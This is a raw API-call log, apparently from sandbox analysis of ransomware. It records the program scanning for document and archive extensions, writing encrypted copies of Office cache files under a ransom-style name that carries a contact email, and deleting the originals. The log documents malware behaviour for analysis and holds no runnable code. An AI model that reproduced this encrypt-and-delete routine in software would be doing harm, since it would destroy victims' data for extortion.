[0062.898] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0062.899] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0062.899] lstrlenW (lpString=".jpg") returned 4 [0062.899] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0062.899] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0062.899] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0062.899] lstrlenW (lpString=".doc") returned 4 [0062.899] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0062.899] lstrlenW (lpString=".docx") returned 5 [0062.899] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0062.899] lstrlenW (lpString=".pdf") returned 4 [0062.899] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0062.899] lstrlenW (lpString=".xls") returned 4 [0062.899] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0062.899] lstrlenW (lpString=".xlsx") returned 5 [0062.899] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0062.899] lstrlenW (lpString=".ppt") returned 4 [0062.899] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0062.899] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0062.899] lstrlenW (lpString=".zip") returned 4 [0062.899] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0062.899] lstrlenW (lpString=".rar") returned 4 [0062.899] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0062.899] lstrlenW (lpString=".bz2") returned 4 [0062.899] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0062.900] lstrlenW (lpString=".7z") returned 3 [0062.900] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0062.900] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0062.900] lstrlenW (lpString=".dbf") returned 4 [0062.900] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0062.900] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0062.900] lstrlenW (lpString=".1cd") returned 4 [0062.900] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0062.900] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0062.900] lstrlenW (lpString=".jpg") returned 4 [0062.900] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0062.900] lstrcmpiW (lpString1=".xml", lpString2=".2020") returned 1 [0062.900] lstrlenW (lpString="Proof.xml") returned 9 [0062.900] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0062.901] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=1347) returned 1 [0062.901] CloseHandle (hObject=0x180) returned 1 [0062.902] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml")) returned 0x2020 [0062.902] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0062.902] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0062.902] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0062.902] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0062.902] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0062.902] GetLastError () returned 0x0 [0062.902] ReadFile (in: hFile=0x180, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x543, lpOverlapped=0x0) returned 1 [0062.944] WriteFile (in: hFile=0x18c, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x550, lpOverlapped=0x0) returned 1 [0062.945] ReadFile (in: hFile=0x180, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0062.945] WriteFile (in: hFile=0x18c, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xe6, lpOverlapped=0x0) returned 1 [0062.945] SetEndOfFile (hFile=0x18c) returned 1 [0062.946] CloseHandle (hObject=0x18c) returned 1 [0062.946] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0062.947] SetEndOfFile (hFile=0x180) returned 1 [0062.948] CloseHandle (hObject=0x180) returned 1 [0062.948] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0062.948] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml")) returned 1 [0062.948] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0062.948] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0062.948] lstrlenW (lpString=".doc") returned 4 [0062.948] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0062.948] lstrlenW (lpString=".docx") returned 5 [0062.949] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0062.949] lstrlenW (lpString=".pdf") returned 4 [0062.949] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0062.949] lstrlenW (lpString=".xls") returned 4 [0062.949] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0062.949] lstrlenW (lpString=".xlsx") returned 5 [0062.949] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0062.949] lstrlenW (lpString=".ppt") returned 4 [0062.949] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0062.949] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0062.949] lstrlenW (lpString=".zip") returned 4 [0062.949] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0062.949] lstrlenW (lpString=".rar") returned 4 [0062.949] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0062.949] lstrlenW (lpString=".bz2") returned 4 [0062.949] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0062.949] lstrlenW (lpString=".7z") returned 3 [0062.949] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0062.949] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0062.949] lstrlenW (lpString=".dbf") returned 4 [0062.949] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0062.949] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0062.949] lstrlenW (lpString=".1cd") returned 4 [0062.949] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0062.949] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0062.950] lstrlenW (lpString=".jpg") returned 4 [0062.950] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0062.950] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0062.950] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0062.950] lstrlenW (lpString=".doc") returned 4 [0062.950] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0062.950] lstrlenW (lpString=".docx") returned 5 [0062.950] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0062.950] lstrlenW (lpString=".pdf") returned 4 [0062.950] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0062.950] lstrlenW (lpString=".xls") returned 4 [0062.950] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0062.950] lstrlenW (lpString=".xlsx") returned 5 [0062.950] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0062.950] lstrlenW (lpString=".ppt") returned 4 [0062.950] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0062.950] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0062.950] lstrlenW (lpString=".zip") returned 4 [0062.950] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0062.950] lstrlenW (lpString=".rar") returned 4 [0062.950] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0062.950] lstrlenW (lpString=".bz2") returned 4 [0062.950] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0062.951] lstrlenW (lpString=".7z") returned 3 [0062.951] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0062.951] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0062.951] lstrlenW (lpString=".dbf") returned 4 [0062.951] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0062.951] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0062.951] lstrlenW (lpString=".1cd") returned 4 [0062.951] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0062.951] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0062.951] lstrlenW (lpString=".jpg") returned 4 [0062.951] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0062.951] lstrcmpiW (lpString1=".xml", lpString2=".2020") returned 1 [0062.951] lstrlenW (lpString="Proof.xml") returned 9 [0062.951] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0062.952] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=1457) returned 1 [0062.952] CloseHandle (hObject=0x180) returned 1 [0062.952] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml")) returned 0x2020 [0062.952] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0062.952] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0062.952] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0062.952] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0062.952] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0062.953] GetLastError () returned 0x0 [0062.953] ReadFile (in: hFile=0x180, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x5b1, lpOverlapped=0x0) returned 1 [0062.958] WriteFile (in: hFile=0x18c, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0062.959] ReadFile (in: hFile=0x180, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0062.959] WriteFile (in: hFile=0x18c, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xe6, lpOverlapped=0x0) returned 1 [0062.960] SetEndOfFile (hFile=0x18c) returned 1 [0062.960] CloseHandle (hObject=0x18c) returned 1 [0062.961] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0062.961] SetEndOfFile (hFile=0x180) returned 1 [0062.962] CloseHandle (hObject=0x180) returned 1 [0062.962] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0062.962] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml")) returned 1 [0062.963] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0062.963] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0062.963] lstrlenW (lpString=".doc") returned 4 [0062.963] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0062.963] lstrlenW (lpString=".docx") returned 5 [0062.963] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0062.963] lstrlenW (lpString=".pdf") returned 4 [0062.963] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0062.963] lstrlenW (lpString=".xls") returned 4 [0062.963] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0062.963] lstrlenW (lpString=".xlsx") returned 5 [0062.963] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0062.963] lstrlenW (lpString=".ppt") returned 4 [0062.963] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0062.963] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0062.963] lstrlenW (lpString=".zip") returned 4 [0062.963] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0062.963] lstrlenW (lpString=".rar") returned 4 [0062.963] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0062.964] lstrlenW (lpString=".bz2") returned 4 [0062.964] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0062.964] lstrlenW (lpString=".7z") returned 3 [0062.964] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0062.964] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0062.964] lstrlenW (lpString=".dbf") returned 4 [0062.964] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0062.964] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0062.964] lstrlenW (lpString=".1cd") returned 4 [0062.964] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0062.964] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0062.964] lstrlenW (lpString=".jpg") returned 4 [0062.964] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0062.964] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0062.964] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0062.964] lstrlenW (lpString=".doc") returned 4 [0062.964] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0062.964] lstrlenW (lpString=".docx") returned 5 [0062.964] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0062.964] lstrlenW (lpString=".pdf") returned 4 [0062.964] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0062.964] lstrlenW (lpString=".xls") returned 4 [0062.964] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0062.964] lstrlenW (lpString=".xlsx") returned 5 [0062.964] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0062.964] lstrlenW (lpString=".ppt") returned 4 [0062.965] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0062.965] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0062.965] lstrlenW (lpString=".zip") returned 4 [0062.965] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0062.965] lstrlenW (lpString=".rar") returned 4 [0062.965] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0062.965] lstrlenW (lpString=".bz2") returned 4 [0062.965] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0062.965] lstrlenW (lpString=".7z") returned 3 [0062.965] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0062.965] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0062.965] lstrlenW (lpString=".dbf") returned 4 [0062.965] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0062.965] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0062.965] lstrlenW (lpString=".1cd") returned 4 [0062.965] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0062.965] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0062.965] lstrlenW (lpString=".jpg") returned 4 [0062.965] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0062.965] lstrcmpiW (lpString1=".xml", lpString2=".2020") returned 1 [0062.965] lstrlenW (lpString="Proof.xml") returned 9 [0062.966] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0062.966] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=1458) returned 1 [0062.966] CloseHandle (hObject=0x180) returned 1 [0062.966] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml")) returned 0x2020 [0062.966] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0062.966] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0062.966] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0062.966] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0062.967] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0062.967] GetLastError () returned 0x0 [0062.967] ReadFile (in: hFile=0x180, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x5b2, lpOverlapped=0x0) returned 1 [0062.974] WriteFile (in: hFile=0x18c, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0062.975] ReadFile (in: hFile=0x180, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0062.975] WriteFile (in: hFile=0x18c, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xe6, lpOverlapped=0x0) returned 1 [0062.975] SetEndOfFile (hFile=0x18c) returned 1 [0062.976] CloseHandle (hObject=0x18c) returned 1 [0062.977] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0062.977] SetEndOfFile (hFile=0x180) returned 1 [0062.978] CloseHandle (hObject=0x180) returned 1 [0062.978] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0062.978] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml")) returned 1 [0062.979] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0062.979] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0062.979] lstrlenW (lpString=".doc") returned 4 [0062.979] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0062.979] lstrlenW (lpString=".docx") returned 5 [0062.979] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0062.979] lstrlenW (lpString=".pdf") returned 4 [0062.979] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0062.979] lstrlenW (lpString=".xls") returned 4 [0062.979] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0062.979] lstrlenW (lpString=".xlsx") returned 5 [0062.979] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0062.979] lstrlenW (lpString=".ppt") returned 4 [0062.979] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0062.979] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0062.979] lstrlenW (lpString=".zip") returned 4 [0062.979] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 